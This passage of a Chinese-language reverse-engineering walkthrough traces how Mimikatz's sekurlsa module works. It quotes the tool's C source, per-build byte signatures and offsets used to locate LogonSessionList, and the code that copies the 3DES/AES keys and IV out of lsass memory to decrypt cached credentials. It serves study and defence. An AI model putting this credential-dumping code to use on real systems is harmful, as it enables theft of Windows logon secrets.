这里先定义了 LIST_ENTRY 结构的指针变量 LogonSessionList 以及 PULONG 类型的指针变量 LogonSessionListCount,然后将 cLsasspLibLsaSrvReferencesARRAYSIZE(LsaSrvReferences) 以及 &LogonSessionList 和 pLogonSessionListCount 传入 kuhl_m_sekurlsa_utils_search_generic() 函数。其中 pLib 为前面传入的 &kuhl_m_sekurlsa_msv_package.ModuleLsaSrvReferences 是一个包含了各种系统版本的特征码的数组,每个成员都是一个 KULL_M_PATCH_GENERIC 结构体,其结构如下所示。

typedef struct _KULL_M_PATCH_GENERIC {
DWORD MinBuildNumber;
KULL_M_PATCH_PATTERN Search; // 包含特征码
KULL_M_PATCH_PATTERN Patch;
KULL_M_PATCH_OFFSETS Offsets; // 保存 LogonSessionList 和 LogonSessionListCount 偏移量值的四个字节的偏移量
} KULL_M_PATCH_GENERIC, *PKULL_M_PATCH_GENERIC;

typedef struct _KULL_M_PATCH_PATTERN {
DWORD Length;
BYTE *Pattern;
} KULL_M_PATCH_PATTERN, *PKULL_M_PATCH_PATTERN;

Mimikatz 为 LsaSrvReferences 预留了常见系统版本的特征码匹配规则,如下所示。

BYTE PTRN_WIN5_LogonSessionList[]   = {0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8};
BYTE PTRN_WN60_LogonSessionList[] = {0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84};
BYTE PTRN_WN61_LogonSessionList[] = {0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84};
BYTE PTRN_WN63_LogonSessionList[] = {0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05};
BYTE PTRN_WN6x_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};
BYTE PTRN_WN1703_LogonSessionList[] = {0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN1803_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN11_LogonSessionList[] = {0x45, 0x89, 0x34, 0x24, 0x4c, 0x8b, 0xff, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};
KULL_M_PATCH_GENERIC LsaSrvReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, 0}},
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, -45}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WN60_LogonSessionList), PTRN_WN60_LogonSessionList}, {0, NULL}, {21, -4}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LogonSessionList), PTRN_WN61_LogonSessionList}, {0, NULL}, {19, -4}},
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_LogonSessionList), PTRN_WN63_LogonSessionList}, {0, NULL}, {36, -6}},
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WN1703_LogonSessionList), PTRN_WN1703_LogonSessionList}, {0, NULL}, {23, -4}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN1803_LogonSessionList), PTRN_WN1803_LogonSessionList}, {0, NULL}, {23, -4}},
{KULL_M_WIN_BUILD_10_1903, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {23, -4}},
{KULL_M_WIN_BUILD_2022, {sizeof(PTRN_WN11_LogonSessionList), PTRN_WN11_LogonSessionList}, {0, NULL}, {24, -4}},
};

这些特征码用于识别引用 LogonSessionList 和 LogonSessionListCount 的指令。而 ARRAYSIZE(LsaSrvReferences) 是 LsaSrvReferences 数组的大小。

跟进 kuhl_m_sekurlsa_utils_search_generic() 函数:

  • sekurlsa\kuhl_m_sekurlsa_utils.c

BOOL kuhl_m_sekurlsa_utils_search_generic(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PVOID * genericPtr, PVOID * genericPtr1, PVOID * genericPtr2, PLONG genericOffset1)
{
KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL};
PKULL_M_PATCH_GENERIC currentReference;
#if defined(_M_X64)
LONG offset;
#endif
// 根据 cLsass->osContext.BuildNumber 的版本号选择 LsaSrvReferences 中的特征码条目
if(currentReference = kull_m_patch_getGenericFromBuild(generics, cbGenerics, cLsass->osContext.BuildNumber))
{
aLocalMemory.address = currentReference->Search.Pattern;
if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE))
{
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0; // optimize one day
// ......
#elif defined(_M_X64)
aLocalMemory.address = &offset;
if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG)))
*genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
#elif defined(_M_IX86)
// ......
#endif

if(genericPtr1)
{
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1;
#if defined(_M_ARM64)
// ......
#elif defined(_M_X64)
aLocalMemory.address = &offset;
if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG)))
*genericPtr1 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
#elif defined(_M_IX86)
// ......
#endif
}

if(genericPtr2)
{
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2;
#if defined(_M_ARM64)
// ......
#elif defined(_M_X64)
aLocalMemory.address = &offset;
if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG)))
*genericPtr2 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
#elif defined(_M_IX86)
// ......
#endif
}
}
}
return pLib->isInit;
}

首先,kull_m_patch_getGenericFromBuild() 函数根据 cLsass->osContext.BuildNumber 中的版本号选择 LsaSrvReferences 中适用于当前系统版本的特征码条目。选出来的 currentReference->Search.Pattern 赋给 aLocalMemory.address 后,将 &aLocalMemory 连同 &sMemory 传入 kull_m_memory_search() 函数。其中 sMemory 是一个 KULL_M_MEMORY_SEARCH 结构体,用于临时保存 lsasrv.dll 模块的基地址和映像大小,其声明如下。

typedef struct _KULL_M_MEMORY_SEARCH {
KULL_M_MEMORY_RANGE kull_m_memoryRange;
LPVOID result;
} KULL_M_MEMORY_SEARCH, *PKULL_M_MEMORY_SEARCH;

typedef struct _KULL_M_MEMORY_RANGE {
KULL_M_MEMORY_ADDRESS kull_m_memoryAdress;
SIZE_T size;
} KULL_M_MEMORY_RANGE, *PKULL_M_MEMORY_RANGE;

typedef struct _KULL_M_MEMORY_ADDRESS {
LPVOID address;
PKULL_M_MEMORY_HANDLE hMemory;
} KULL_M_MEMORY_ADDRESS, *PKULL_M_MEMORY_ADDRESS;

在 kull_m_memory_search() 函数内部定位特征码的内存地址,该函数定义如下。

BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst)
{
BOOL status = FALSE;
KULL_M_MEMORY_SEARCH sBuffer = {{{NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, Search->kull_m_memoryRange.size}, NULL};
PBYTE CurrentPtr;
// 定义搜索的最大地址数(搜索的极限),为保存 lsasrv.dll 模块的内存地址加上 lsasrv.dll 模块的大小
PBYTE limite = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + Search->kull_m_memoryRange.size;

switch(Pattern->hMemory->type)
{
case KULL_M_MEMORY_TYPE_OWN:
switch(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->type)
{
case KULL_M_MEMORY_TYPE_OWN:
// CurrentPtr 从 lsasvr.dll 的基地址开始循环,依次递增一个地址,最大地址数为 limite
for(CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address; !status && (CurrentPtr + Length <= limite); CurrentPtr++)
// 比较 Pattern->address 和 CurrentPtr 指向的两个内存块是否相同,如果相同则说明找到了特征码
status = RtlEqualMemory(Pattern->address, CurrentPtr, Length);
CurrentPtr--;
break;
case KULL_M_MEMORY_TYPE_PROCESS:
case KULL_M_MEMORY_TYPE_FILE:
case KULL_M_MEMORY_TYPE_KERNEL:
// 为 sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address 开辟内存空间
if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = LocalAlloc(LPTR, Search->kull_m_memoryRange.size))
{
// 将包含 lsasvr.dll 模块的那部分内存复制到 sBuffer.kull_m_memoryRange.kull_m_memoryAdress 所指向的内存中
if(kull_m_memory_copy(&sBuffer.kull_m_memoryRange.kull_m_memoryAdress, &Search->kull_m_memoryRange.kull_m_memoryAdress, Search->kull_m_memoryRange.size))
// 再次调用 kull_m_memory_search 函数将进入到 case KULL_M_MEMORY_TYPE_OWN:
if(status = kull_m_memory_search(Pattern, Length, &sBuffer, FALSE))
CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
LocalFree(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
}
break;
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
// ......
default:
break;
}
break;
default:
break;
}

Search->result = status ? CurrentPtr : NULL;

return status;
}

该函数首先划分出 lsasrv.dll 所属的内存空间从而确定要搜索的范围大小 limite,然后遍历 limite 范围的内存,通过 RtlEqualMemory() 函数匹配出与特征码相同的内存块,最终确定特征码的地址。得到的特征码地址被赋值给 Search->result,回到 kuhl_m_sekurlsa_utils_search_generic() 函数中就是 sMemory.result

接着,回到 kuhl_m_sekurlsa_utils_search_generic() 函数中开始定位 LogonSessionList 变量。首先从 currentReference 中获取第一个偏移量加到特征码地址上,如下所示。

aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0;

这里获得的是 lea rcx 指令中保存 LogonSessionList 变量偏移量的四个字节序列的地址。然后通过 kull_m_memory_copy() 函数获取这四个字节序列的值到 offset 中,此时 offset 中保存的是 LogonSessionList 变量真正的偏移量。将 sizeof(LONG) 和 offset 加到 rip 指向的地址上即可得到 LogonSessionList 变量的地址,如下所示。

aLocalMemory.address = &offset;
if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG)))
·*genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);

同理可以获得 LogonSessionListCount 变量的地址。

拿到 LogonSessionList 和 LogonSessionListCount 这两个变量的地址后,返回 kuhl_m_sekurlsa_acquireLSA() 函数,将继续调用 lsassLocalHelper->AcquireKeys 所指的函数。在这里是 kuhl_m_sekurlsa_nt6_acquireKeys() 函数,该函数用于获取加密用户凭据的密钥。

if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
{
// 继续调用 kuhl_m_sekurlsa_nt6_acquireKeys 函数
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\n");
}

Extract BCrypt Key & Vector

跟进 kuhl_m_sekurlsa_nt6_acquireKeys() 函数:

  • sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c

KIWI_BCRYPT_GEN_KEY k3Des, kAes;
BYTE InitializationVector[16];
// ......
NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule)
{
NTSTATUS status = STATUS_NOT_FOUND;
KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory = {{{lsassLsaSrvModule->DllBase.address, cLsass->hLsassMem}, lsassLsaSrvModule->SizeOfImage}, NULL};
#if defined(_M_X64)
LONG offset64;
#endif
PKULL_M_PATCH_GENERIC currentReference;
if(currentReference = kull_m_patch_getGenericFromBuild(PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef, ARRAYSIZE(PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef), cLsass->osContext.BuildNumber))
{
aLocalMemory.address = currentReference->Search.Pattern;
// 根据特征码获取 LsaInitializeProtectedMemory_KeyRef 的地址
if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE))
{
// 特征码的地址加上偏移量 off0 到达保存 InitializationVector 偏移量的那四个字节的地址
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0;
#if defined(_M_ARM64)
// ......
#elif defined(_M_X64)
aLocalMemory.address = &offset64;
// 获取包含 InitializationVector 偏移量的那四个字节的内容,并把加到特征码的地址上,最终得到了 InitializationVector 的绝对地址
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG)))
{
aLsassMemory.address = (PBYTE) aLsassMemory.address + sizeof(LONG) + offset64;
#elif defined(_M_IX86)
// ......
#endif
// 全局变量 InitializationVector 中将存储初始化向量
aLocalMemory.address = InitializationVector;
if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(InitializationVector)))
{
// 特征码的基地址加上偏移量 off1 到达保存 h3DesKey 偏移量的那四个字节的地址
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1;
if(kuhl_m_sekurlsa_nt6_acquireKey(&aLsassMemory, &cLsass->osContext, &k3Des,
#if defined(_M_ARM64)
currentReference->Offsets.armOff1
#else
0
#endif
))
{
aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2;
if(kuhl_m_sekurlsa_nt6_acquireKey(&aLsassMemory, &cLsass->osContext, &kAes,
#if defined(_M_ARM64)
currentReference->Offsets.armOff2
#else
0
#endif
))
status = STATUS_SUCCESS;
}
}
}
}
}
return status;
}

首先,同样是通过 kull_m_patch_getGenericFromBuild() 函数选出适用于当前系统版本的 PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef 中的特征码条目。类似于前文中使用的 LsaSrvReferencesPTRN_WIN8_LsaInitializeProtectedMemory_KeyRef 也是一个包含了各种系统版本的特征码的数组,但主要用来定位加密用户凭据的初始化向量和密钥,数组中每个成员都是一个 KULL_M_PATCH_GENERIC 结构体。

在 Windows 系统中,用户的登录凭据由 LsaProtectMemory() 函数调用后在内存中加密缓存,逆向分析可以发现该函数实际上调用了 LsaEncryptMemory() 函数,如下图所示。

而 LsaEncryptMemory() 函数实际上封装了 BCryptEncrypt() 和 BCryptDecrypt() 函数,如下图所示,其中 h3DesKeyhAesKey 是加密用到的密钥对象的句柄,InitializationVector 是初始化向量。

BCryptEncrypt() 和 BCryptDecrypt() 是 CNG(Cryptography Next Generation)中的加密基元函数。CNG 即下一代加密技术,是 CryptoAPI 的替代物,其中提供了一套 API,可用来执行诸如创建、存储和检索加密密钥等基本的加密操作。

值得注意的是,在 LsaEncryptMemory() 函数种会根据待加密的数据块长度来选择对称加密算法,如果输入的缓冲区长度能被 8 整除,则会使用 AES 算法,否则就使用 3Des。此外 LsaEncryptMemory() 函数还提供了解密功能,为了解密用户凭据,我们需要获取初始化向量和密钥,但它们存储在哪?

我们分析发现有一个 LsaInitializeProtectedMemory() 函数对 h3DesKey 和 hAesKey 初始化,如下图所示。先由 BCryptOpenAlgorithmProvider() 函数加载并初始化 CNG 提供程序,并将初始化的句柄赋给 h3DesProvider 和 h3AesProvider。然后使用 BCryptSetProperty() 函数设置 CNG 对象的命名属性的值。

继续往下可以看到,系统会使用 BCryptGenRandom() 函数为密钥缓冲区生成随机数,这意味着每次 lsass.exe 启动时都会生成随机的新密钥。最后由 BCryptGenerateSymmetricKey() 函数根据随机生成的密钥缓冲区创建密钥对象,并将句柄赋给 h3DesKey 和 hAesKey,此句柄用于需要密钥的后续函数,例如 BCryptEncrypt() 等。

由于这个两个句柄以及 InitializationVector 都是全局变量,因此可以使用 rip 相对寻址来定位他们的地址,跟前文中定位那两个全局变量的方法是一样的。获取到句柄后,再根据句柄与指针的关系获取到真正的密钥内容。

Mimikatz 为 PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef 预留了常见系统版本的特征码匹配规则,用来匹配引用 InitializationVectorh3DesKey 和 hAesKey 的指令,如下所示。

BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[]   = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0x0d};
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8b, 0x0d};
BYTE PTRN_WN10_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15};
KULL_M_PATCH_GENERIC PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef[] = { // InitializationVector, h3DesKey, hAesKey
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY), PTRN_WNO8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {63, -69, 25}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY), PTRN_WNO8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {59, -61, 25}},
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY), PTRN_WIN8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {62, -70, 23}},
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY), PTRN_WN10_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {61, -73, 16}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY), PTRN_WN10_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {67, -89, 16}},
};

以 Windows 10 x64 1903 系统为例,Mimikatz 扫描下图红色边框标出的特征码,以识别 lea rdx, ?h3DesKeylea rdx, ?hAesKey 和 lea rdx, ?InitializationVector 指令。在 x86_64 架构上,这些指令使用 rip 相对寻址来访问和使用全局变量,下图中的蓝色、绿色和黄色边框标出的字节序列,即为指令所保存的 h3DesKeyhAesKey 和 InitializationVector 相对于当前指令的偏移量(小端序)。

分别取出这四个字节中保存的偏移量值,加到 rip 指向的地址上即可分别得到 h3DesKeyhAesKey 和 InitializationVector 的地址,如下图所示。可以看到 h3DesKey 和 hAesKey 都是 BCRYPT_KEY_HANDLE 结构体。

在 kuhl_m_sekurlsa_nt6_acquireKeys() 函数中,先通过与 kuhl_m_sekurlsa_utils_search_generic() 函数类似的逻辑获取 InitializationVector 的地址,然后调用两次 kuhl_m_sekurlsa_nt6_acquireKey() 函数定位 h3DesKey 和 hAesKey 的地址。

跟进 kuhl_m_sekurlsa_nt6_acquireKey() 函数:

  • sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c

BOOL kuhl_m_sekurlsa_nt6_acquireKey(PKULL_M_MEMORY_ADDRESS aLsassMemory, PKUHL_M_SEKURLSA_OS_CONTEXT pOs, PKIWI_BCRYPT_GEN_KEY pGenKey, LONG armOffset) // TODO:ARM64
{
BOOL status = FALSE;
KULL_M_MEMORY_ADDRESS aLocalMemory = {&aLsassMemory->address, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KIWI_BCRYPT_HANDLE_KEY hKey; PKIWI_HARD_KEY pHardKey;
PVOID buffer; SIZE_T taille; LONG offset;
// 根据 BuildNumber 中的系统版本,在几种 KIWI_BCRYPT_KEY 结构中选择适合的版本
if(pOs->BuildNumber < KULL_M_WIN_MIN_BUILD_8)
{
taille = sizeof(KIWI_BCRYPT_KEY);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY, hardkey);
}
else if(pOs->BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
{
taille = sizeof(KIWI_BCRYPT_KEY8);
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY8, hardkey);
}
else
{
// taille 为 KIWI_BCRYPT_KEY81 结构体的大小
taille = sizeof(KIWI_BCRYPT_KEY81);
// offset 为 hardkey 属性在 KIWI_BCRYPT_KEY81 结构体中的偏移
offset = FIELD_OFFSET(KIWI_BCRYPT_KEY81, hardkey);
}

if(buffer = LocalAlloc(LPTR, taille))
{
#if defined(_M_ARM64)
// ......
#elif defined(_M_X64)
LONG offset64;
aLocalMemory.address = &offset64;
// 获取保存 h3DesKey 偏移量的那四个字节的值,并加到 rip 指令的地址上,最终得到了 h3DesKey 变量的地址
if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(LONG)))
{
aLsassMemory->address = (PBYTE) aLsassMemory->address + sizeof(LONG) + offset64;
aLocalMemory.address = &aLsassMemory->address;
#elif defined(_M_IX86)
// ......
#endif
// 将 BCRYPT_KEY_HANDLE 结构的 h3DesKey 变量复制到 hKey 指向的内存中
if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(PVOID)))
{
aLocalMemory.address = &hKey;
if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(KIWI_BCRYPT_HANDLE_KEY)) && hKey.tag == 'UUUR')
{
// 将 KIWI_BCRYPT_HANDLE_KEY::key,也就是 KIWI_BCRYPT_KEY81 结构复制到 buffer 指向的内存中
aLocalMemory.address = buffer; aLsassMemory->address = hKey.key;
if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, taille) && ((PKIWI_BCRYPT_KEY) buffer)->tag == 'MSSK') // same as 8
{
// buffer 加上 offset 到达 KIWI_BCRYPT_KEY::hardkey 的地址
pHardKey = (PKIWI_HARD_KEY) ((PBYTE) buffer + offset);
// 将 KIWI_HARD_KEY::data 复制到 aLocalMemory.address 指向的内存中
if(aLocalMemory.address = LocalAlloc(LPTR, pHardKey->cbSecret))
{
aLsassMemory->address = (PBYTE) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data);
if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, pHardKey->cbSecret))
{
__try
{
// 通过 BCryptGenerateSymmetricKey 函数创建一个密钥对象
status = NT_SUCCESS(BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) aLocalMemory.address, pHardKey->cbSecret, 0));
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
}
LocalFree(aLocalMemory.address);
}
}
}
}
}
LocalFree(buffer);
}
return status;
}

这里以获取 h3DesKey 为例,获取 hAesKey 的方法相同。首先通过 kull_m_memory_copy() 函数获取保存 h3DesKey 偏移量的那四个字节的值,并加到 rip 指令的地址上得到了 h3DesKey 变量的地址,然后再将 h3DesKey 变量复制到 hKey 指向的内存中。这里需要知道的 h3DesKey 变量是一个 BCRYPT_KEY_HANDLE 的句柄结构,由于句柄相当于指针的指针,因此该句柄中保存着存储密钥内容的那块内存的指针的指针,指向密钥的指针结构,可以在 Mimikatz 中找到了这个结构:

typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;

其中 tag 是该结构中不变的标签,这在 WinDBG 中可以看到,如下图所示。可以通过检查 tag 是否等于 ”UUUR“ 来确认当前找到的是该结构。

此外还可以看到 KIWI_BCRYPT_HANDLE_KEY 中的属性 key 是一个指向 KIWI_BCRYPT_KEY 结构体的指针,由于当前测试环境为 Windows 10 x64 1903,因此这使用的是 KIWI_BCRYPT_KEY81 版本,其声明如下。

typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;

其中 tag 是该结构中不变的标签,在上图所示中可以看到,在 KIWI_BCRYPT_HANDLE_KEY 结构后面引用了 KIWI_BCRYPT_KEY81

此外 KIWI_BCRYPT_KEY81 的最后一个成员 hardkey 是一个 KIWI_HARD_KEY 结构体,该结构声明如下,其中的字节数组 data 保存了实际的密钥值,而 cbSecret 是 data 的大小。

typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;

我们可以使用 WinDBG 来提取这个密钥,如下所示:

这样我们就得到了h3DesKey,大小为0x18字节,包含如下数据:

dd 03 51 00 bc 78 57 2c 61 7d 74 ba 72 c2 d0 32 fe 01 e4 bc 34 39 be

我们可以通过相同的过程来提取 hAesKey 中的密钥:

最后再调用 BCryptGenerateSymmetricKey() 函数,通过已获取的密钥内容创建一个密钥对象,并由 pGenKey->hKey 接收得到的密钥句柄,用于后续的解密过程。

至此,整个 kuhl_m_sekurlsa_acquireLSA() 函数调用结束,返回 kuhl_m_sekurlsa_enum() 函数中枚举用户信息。

Pivoting From LogonSessionList

在前文中曾经提到过,LogonSessionList 是一个 LIST_ENTRY 结构体,因此它也是一个双向链表,可以使用 WinDBG 命令遍历浏览,如下图所示。

该结构中的 Flink 指向真正的模块链表,链表的每个成员都是一个包含了用户会话信息的结构体,具体结构因不同系统而异,在 Windows 10 x64 1903 系统中,Mimikatz 对其声明如下。

typedef struct _KIWI_MSV1_0_LIST_63 {
struct _KIWI_MSV1_0_LIST_63 *Flink; //off_2C5718
struct _KIWI_MSV1_0_LIST_63 *Blink; //off_277380
PVOID unk0; // unk_2C0AC8
ULONG unk1; // 0FFFFFFFFh
PVOID unk2; // 0
ULONG unk3; // 0
ULONG unk4; // 0
ULONG unk5; // 0A0007D0h
HANDLE hSemaphore6; // 0F9Ch
PVOID unk7; // 0
HANDLE hSemaphore8; // 0FB8h
PVOID unk9; // 0
PVOID unk10; // 0
ULONG unk11; // 0
ULONG unk12; // 0
PVOID unk13; // unk_2C0A28
LUID LocallyUniqueIdentifier;
LUID SecondaryLocallyUniqueIdentifier;
BYTE waza[12]; /// to do (maybe align)
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING Domaine;
PVOID unk14;
PVOID unk15;
LSA_UNICODE_STRING Type;
PSID pSid;
ULONG LogonType;
PVOID unk18;
ULONG Session;
LARGE_INTEGER LogonTime; // autoalign x86
LSA_UNICODE_STRING LogonServer;
PKIWI_MSV1_0_CREDENTIALS Credentials;
PVOID unk19;
PVOID unk20;
PVOID unk21;
ULONG unk22;
ULONG unk23;
ULONG unk24;
ULONG unk25;
ULONG unk26;
PVOID unk27;
PVOID unk28;
PVOID unk29;
PVOID CredentialManager;
} KIWI_MSV1_0_LIST_63, *PKIWI_MSV1_0_LIST_63;

可以看到,该结构里包含了用户名(UserName)、域名(Domaine)、登录时间(LogonTime)、凭据(Credentials)以及登录到的服务器(LogonServer)等信息,其中 UserName 在结构中偏移量为 0x90,我们可以通过 WinDBG 遍历出所有的用户名,如下图所示。

同理在偏移量为 0xF8 处获取登录到的服务器名,如下图所示。

Enumerate User Information

回到 kuhl_m_sekurlsa_enum() 函数中,定义了以下部分代码用于枚举用户信息。

if(NT_SUCCESS(status))
{
sessionData.cLsass = &cLsass;
sessionData.lsassLocalHelper = lsassLocalHelper;

if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
helper = &lsassEnumHelpers[0];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
helper = &lsassEnumHelpers[1];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
helper = &lsassEnumHelpers[2];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
helper = &lsassEnumHelpers[3];
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
helper = &lsassEnumHelpers[5];
else
helper = &lsassEnumHelpers[6];
